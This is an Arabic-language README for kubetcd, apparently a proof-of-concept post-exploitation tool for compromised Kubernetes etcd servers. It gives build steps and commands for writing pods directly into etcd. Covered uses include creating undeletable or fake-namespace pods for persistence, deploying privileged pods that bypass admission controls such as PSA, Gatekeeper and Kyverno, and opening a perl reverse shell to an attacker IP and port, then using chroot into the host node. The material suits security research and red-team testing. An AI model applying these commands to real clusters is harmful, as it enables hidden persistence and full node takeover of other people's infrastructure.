
استغلال ما بعد الاختراق لخادم etcd المُخترَق، وتحقيق استمرارية الوصول وصدفة عن بُعد إلى العُقد.
غلاف لـ https://github.com/jpbetz/auger.
يعمل على أتمتة نشر الحاويات (pods) عبر الكتابة المباشرة في etcd. يتضمن عدة وظائف لمرحلة ما بعد الاستغلال لخوادم etcd المخترقة.
[!WARNING]
هذا نموذج إثبات مفهوم (PoC)، لا تستخدمه في بيئة إنتاج. قد تؤدي الكتابة المباشرة إلى etcd إلى حدوث تباينات أو تلف في البيانات، مما قد يتسبب في فشل منطقkube-apiserverفي استرجاع البيانات من etcd أو التعامل معها. يمكن نشر بيئات اختبار متعددة العقد باستخدام KIND
يوفر المستودع الرئيسي، auger، الميزات الأساسية لتسلسل وإلغاء تسلسل الإدخالات المخزنة بصيغة protobuf في etcd. Kubetcd هو نموذج PoC يغلّف هذه الميزات لتقريب etcdctl من عميل kubectl العادي. في سيناريو وجود etcd مخترق، سيحاول kubetcd استخدام حاويات pods معدّلة وذات صلاحيات مرتفعة لتحقيق استمرارية الوصول والوصول المميز إلى أي/كل المضيفين في المجموعة. لاحظ أن kubetcd يدعم حالياً عمليات الحاويات pods فقط.
يأخذ Kubetcd الشهادات والمفاتيح للمصادقة على خدمة etcd من المسارات الافتراضية التالية:
أيضاً، نقطة النهاية الافتراضية معينة على 127.0.0.1:2379
يمكن تغيير جميع القيم الافتراضية السابقة عبر المعاملات.
كما يجب تثبيت etcdctl، عميل etcd.
sudo apt install etcd-client
اسحب الكود وقم بالبناء:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
قد تواجه الخطأ التالي:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
إذا حدث ذلك، قم ببناء kubetcd باستخدام Golang 1.19.
راجع https://github.com/jpbetz/auger للحصول على ميزات auger الأساسية، والتي لا تزال قائمة. سيوضح هذا README فقط الميزات الجديدة المضافة في الغلاف:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
يجب أن يكون templateName حاوية pod قيد التشغيل في النطاق (namespace) الافتراضي:
./kubetcd create pod <name> -t <templateName>
يمكنك استبدال حاوية pod قيد التشغيل بمجرد تعيين نفس قيم name و templateName.
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
يحفظ ETCD الحاويات الجديدة في /registry/pods/<namespace>/<name> لكن يمكن العبث بحقلي namespace و name. وبذلك، يمكن سرد هذه الحاويات باستخدام kubectl لكن لا يمكن حذفها.
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
انشر عبء العمل على أي عقدة كما تشاء:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
انشر حاويات pods ذات صلاحيات مرتفعة في نطاقات namespaces مقيدة. سيؤدي هذا إلى تجاوز وحدات تحكم القبول المدمجة مثل PSPs أو PSAs أو أي سياسات أخرى مبنية على سياسات مخصصة مثل OPA Gatekeer أو Kyverno:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
ستقوم راية -P بتعيين أي حاوية pod كحاوية privileged وستشارك نطاقات network و PID و IPC مع العقدة الأساسية.
انشر حاويات pods ذات صلاحيات مرتفعة في نطاقات مقيدة واحصل على شل عن بُعد:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
سيؤدي هذا إلى تشغيل شل perl عكسي، وهو متوفر في العديد من الصور افتراضياً. بمجرد حصولك على الشل العكسي، غيّر نظام الملفات الجذر باستخدام chroot /host للحصول على وصول كامل إلى العقدة.
corev1